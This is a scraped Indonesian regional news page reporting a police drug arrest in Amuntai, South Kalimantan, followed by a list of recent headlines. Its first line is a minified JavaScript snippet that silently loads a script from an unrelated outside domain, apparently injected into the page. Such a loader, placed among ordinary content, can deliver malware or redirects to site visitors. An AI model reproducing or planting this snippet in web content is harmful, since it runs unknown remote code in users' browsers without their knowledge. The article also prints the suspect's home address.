(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Miliki Barang Terlarang, MN Diciduk dari Rumahnya


AMUNTAI, Satuan Reserse Narkoba (Sat Resnarkoba) Polres HSU ringkus penyalahgunaan Narkotika di kota berjuluk Bertakwa. Kali ini, polisi berhasil mengamankan laki-laki berinisial MN alias N (24), warga Jalan Empu Jatmika No 90 RT 002, Kelurahan Paliwara, Kecamatan Amuntai Tengah, Kabupaten HSU, Selasa (13/11) pukul 21.00 Wita.

Kasat Narkoba Polres HSU Iptu Kamaruddin SH mengatakan, pihaknya mengamankan salah seorang pemuda beserta barang bukti 1 buah pipet kaca yang berisikan sisa sabu, 1 buah bong yang terbuat dari botol plastik, 2 buah sedotan, 1 buah handphone, 1 buah pemantik api dan 1 buah tas selempang warna hitam.

Iptu Kamaruddin menyebut, penangkapan pelaku atas dasar laporan masyarakat, kemudian ditindaklanjuti petugas dengan penyelidikan. Tepat di pinggir Jalan Pembalah Batung, Kelurahan Paliwara RT 03, Kecamatan Amuntai Tengah pelaku dibekuk langsung digeledah.

Saat petugas menggeledah MN alias N tidak ditemukan barang bukti, namun petugas mencurigai tingkah lakunya, sehingga Sat Resnarkoba Polres HSU mengembangkan pemeriksaan ke rumah bersangkutan di Jalan Empu Jatmika No 90 RT 002, Kelurahan Paliwara, Kecamatan Amuntai Tengah. Disaksikan Ketua RT setempat akhirnya polisi mendapati beberapa barang bukti.

“Selain sebagai pengguna, pelaku juga disinyalir melakukan praktek jual beli Narkotika,” ujar Kasat Narkoba Polres HSU.

Untuk mempertanggung jawabkan perbuatannya pelaku digiring Ke Mapolres HSU guna di Proses lebih lanjut. “Tersangka akan dijerat UU RI Nomor 35 tahun 2009 tentang Narkotika,” pungkas Iptu Kamaruddin. (rico)

Reporter : Rico
Editor : Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Pascabanjir TurunTangan Banjarmasin – UPZ Bakti Bersama Salurkan Bantuan ke Masjid

KANALKALIMANTAN.COM, PARINGIN — Banjir bandang di Kecamatan Tebing Tinggi, Kabupaten Balangan, beberapa waktu lalu tak… Read More

9 jam ago

Mantan Kajari HSU Ajukan Praperadilan, KPK Siap Ladeni Gugatan

KANALKALIMANTAN.COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menyatakan siap menghadapi gugatan praperadilan yang diajukan mantan… Read More

12 jam ago

Hari Gizi Nasional 2026 “Sehat Dimulai dari Piringku”

KANALKALIMANTAN.COM - Hari Gizi Nasional yang diperingati setiap tanggal 25 Januari merupakan momentum penting dalam… Read More

16 jam ago

Wali Kota Yamin akan Tindak Pemilik Ruko yang Tidak Merawat Drainase

KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin H Muhammad Yamin HR menegaskan akan menindak pemilik Ruko… Read More

1 hari ago

Ketua DPRD Kalsel Sampaikan Tuntutan Mahasiswa ke Senayan

KANALKALIMANTAN.COM, JAKARTA — Ketua DPRD Kalimantan Selatan (Kalsel), H Supian HK menyampaikan tuntutan mahasiswa dari… Read More

1 hari ago

275 ASN Pemko Banjarmasin Pensiun di 2025

KANALKALIMANTAN.COM, BANJARMASIN — Sebanyak 275 Aparatur Sipil Negara (ASN) di lingkungan Pemerintah Kota (Pemko) Banjarmasin… Read More

1 hari ago

This website uses cookies.